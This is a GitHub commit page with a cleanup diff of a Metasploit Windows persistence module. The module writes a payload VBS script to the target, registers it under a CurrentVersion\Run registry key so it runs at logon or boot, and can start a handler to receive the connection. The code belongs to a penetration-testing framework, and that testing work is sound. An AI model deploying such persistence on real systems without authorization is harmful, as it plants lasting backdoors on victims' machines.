Skip to content

Commit e7e8135

Browse files
committed
Clean up module
1 parent 0b55a88 commit e7e8135

File tree

1 file changed

+45
-44
lines changed

1 file changed

+45
-44
lines changed

modules/exploits/windows/local/persistence.rb

Lines changed: 45 additions & 44 deletions
Original file line numberDiff line numberDiff line change
@@ -11,37 +11,38 @@
1111
require 'msf/core/post/windows/registry'
1212
require 'msf/core/exploit/exe'
1313

14-
class Metasploit3 < Msf::Exploit::Local
14+
class Metasploit4 < Msf::Exploit::Local
15+
1516
Rank = ExcellentRanking
1617

1718
include Msf::Post::Common
1819
include Msf::Post::File
1920
include Msf::Post::Windows::Priv
2021
include Msf::Post::Windows::Registry
21-
include Exploit::EXE
22+
include Msf::Exploit::EXE
2223

23-
def initialize(info={})
24-
super( update_info( info,
25-
'Name' => 'Windows Persistent Registry Startup Payload Installer',
26-
'Description' => %q{
24+
def initialize(info = {})
25+
super(update_info(info,
26+
'Name' => 'Windows Persistent Registry Startup Payload Installer',
27+
'Description' => %q{
2728
This module will install a payload that is executed during boot.
2829
It will be executed either at user logon or system startup via the registry
2930
value in "CurrentVersion\Run" (depending on privilege and selected method).
3031
},
31-
'License' => MSF_LICENSE,
32-
'Author' =>
32+
'License' => MSF_LICENSE,
33+
'Author' =>
3334
[
3435
'Carlos Perez <carlos_perez[at]darkoperator.com>',
35-
'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
36+
'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
3637
],
37-
'Platform' => [ 'win' ],
38-
'SessionTypes' => [ 'meterpreter' ],
39-
'Targets' => [ [ 'Windows', {} ] ],
40-
'DefaultTarget' => 0,
41-
'DisclosureDate'=> "Oct 19 2011",
42-
'DefaultOptions'=>
38+
'Platform' => [ 'win' ],
39+
'SessionTypes' => [ 'meterpreter' ],
40+
'Targets' => [ [ 'Windows', {} ] ],
41+
'DefaultTarget' => 0,
42+
'DisclosureDate' => "Oct 19 2011",
43+
'DefaultOptions' =>
4344
{
44-
'DisablePayloadHandler' => 'true',
45+
'DisablePayloadHandler' => 'true'
4546
}
4647
))
4748

@@ -62,9 +63,9 @@ def initialize(info={})
6263

6364
register_advanced_options([
6465
OptBool.new('HANDLER',
65-
[ false, 'Start an exploit/multi/handler job to receive the connection', false]),
66+
[false, 'Start an exploit/multi/handler job to receive the connection', false]),
6667
OptBool.new('EXEC_AFTER',
67-
[ false, 'Execute persistent script after installing.', false])
68+
[false, 'Execute persistent script after installing.', false])
6869
], self.class)
6970
end
7071

@@ -75,29 +76,29 @@ def exploit
7576
rexe_name = datastore['EXE_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6))
7677
reg_val = datastore['REG_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6))
7778
startup = datastore['STARTUP'].downcase
78-
delay = datastore['DELAY'] || 10
79-
exc_after = datastore['EXEC_AFTER'] || false
80-
handler = datastore['HANDLER'] || false
79+
delay = datastore['DELAY']
80+
exec_after = datastore['EXEC_AFTER']
81+
handler = datastore['HANDLER']
8182
@clean_up_rc = ""
8283

8384
rvbs_name = rvbs_name + '.vbs' if rvbs_name[-4,4] != '.vbs'
8485
rexe_name = rexe_name + '.exe' if rexe_name[-4,4] != '.exe'
8586

8687
# Connect to the session
8788
begin
88-
host, port = session.session_host, session.session_port
89+
host = session.session_host
8990
print_status("Running persistent module against #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
9091
rescue => e
91-
print_error("Could not connect to session")
92+
print_error("Could not connect to session: #{e}")
9293
return nil
9394
end
9495

9596
# Check values
96-
if (is_system?) && (startup == 'user')
97+
if is_system? && startup == 'user'
9798
print_warning('Note: Current user is SYSTEM & STARTUP == USER. This user may not login often!')
9899
end
99100

100-
if (handler) && (!datastore['DisablePayloadHandler'])
101+
if handler && !datastore['DisablePayloadHandler']
101102
# DisablePayloadHandler will stop listening after the script finishes - we want a job so it continues afterwards!
102103
print_warning("Note: HANDLER == TRUE && DisablePayloadHandler == TRUE. This will create issues...")
103104
print_warning("Disabling HANDLER...")
@@ -141,7 +142,7 @@ def exploit
141142
end
142143

143144
# Do we execute the VBS script afterwards?
144-
target_exec(script_on_target) if datastore['EXEC_AFTER']
145+
target_exec(script_on_target) if exec_after
145146

146147
# Create 'clean up' resource file
147148
clean_rc = log_file()
@@ -170,12 +171,12 @@ def write_script_to_target(vbs, name)
170171
temppath = datastore['PATH'] || session.sys.config.getenv('TEMP')
171172
filepath = temppath + "\\" + filename
172173

173-
if !directory? temppath
174+
unless directory?(temppath)
174175
print_error("#{temppath} does not exists on the target")
175176
return nil
176177
end
177178

178-
if file? filepath
179+
if file?(filepath)
179180
print_warning("#{filepath} already exists on the target. Deleting...")
180181
begin
181182
file_rm(filepath)
@@ -198,7 +199,7 @@ def write_script_to_target(vbs, name)
198199
filepath = nil
199200
end
200201

201-
return filepath
202+
filepath
202203
end
203204

204205
# Installs payload in to the registry HKLM or HKCU
@@ -216,16 +217,15 @@ def write_to_reg(key, script_on_target, registry_value)
216217
regsuccess = false
217218
end
218219

219-
return regsuccess
220+
regsuccess
220221
end
221222

222-
223223
# Executes script on target and returns true if it was successfully started
224224
def target_exec(script_on_target)
225225
execsuccess = true
226226
print_status("Executing script #{script_on_target}")
227227
# Lets give the target a few seconds to catch up...
228-
sleep(3)
228+
Rex.sleep(3)
229229

230230
# Error handling for process.execute() can throw a RequestError in send_request.
231231
begin
@@ -239,7 +239,7 @@ def target_exec(script_on_target)
239239
execsuccess = false
240240
end
241241

242-
return execsuccess
242+
execsuccess
243243
end
244244

245245
# Starts a exploit/multi/handler session
@@ -248,7 +248,8 @@ def create_multihandler(lhost, lport, payload_name)
248248
pay.datastore['LHOST'] = lhost
249249
pay.datastore['LPORT'] = lport
250250
print_status('Starting exploit/multi/handler')
251-
if !check_for_listener(lhost, lport)
251+
252+
unless check_for_listener(lhost, lport)
252253
# Set options for module
253254
mh = client.framework.exploits.create('multi/handler')
254255
mh.share_datastore(pay.datastore)
@@ -260,19 +261,19 @@ def create_multihandler(lhost, lport, payload_name)
260261
mh.options.validate(mh.datastore)
261262
# Execute showing output
262263
mh.exploit_simple(
263-
'Payload' => mh.datastore['PAYLOAD'],
264-
'LocalInput' => self.user_input,
265-
'LocalOutput' => self.user_output,
266-
'RunAsJob' => true
267-
)
264+
'Payload' => mh.datastore['PAYLOAD'],
265+
'LocalInput' => self.user_input,
266+
'LocalOutput' => self.user_output,
267+
'RunAsJob' => true
268+
)
268269

269270
# Check to make sure that the handler is actually valid
270271
# If another process has the port open, then the handler will fail
271272
# but it takes a few seconds to do so. The module needs to give
272273
# the handler time to fail or the resulting connections from the
273274
# target could end up on on a different handler with the wrong payload
274275
# or dropped entirely.
275-
select(nil, nil, nil, 5)
276+
Rex.sleep(5)
276277
return nil if framework.jobs[mh.job_id.to_s].nil?
277278

278279
return mh.job_id.to_s
@@ -296,7 +297,7 @@ def check_for_listener(lhost, lport)
296297
end
297298
end
298299
end
299-
return false
300+
false
300301
end
301302

302303
# Function for creating log folder and returning log path
@@ -310,18 +311,18 @@ def log_file(log_path = nil)
310311
# Create a directory for the logs
311312
if log_path
312313
logs = ::File.join(log_path, 'logs', 'persistence',
313-
Rex::FileUtils.clean_path(host + filenameinfo) )
314+
Rex::FileUtils.clean_path(host + filenameinfo))
314315
else
315316
logs = ::File.join(Msf::Config.log_directory, 'persistence',
316-
Rex::FileUtils.clean_path(host + filenameinfo) )
317+
Rex::FileUtils.clean_path(host + filenameinfo))
317318
end
318319

319320
# Create the log directory
320321
::FileUtils.mkdir_p(logs)
321322

322323
# logfile name
323324
logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc"
324-
return logfile
325+
logfile
325326
end
326327

327328
end

0 commit comments

Comments
 (0)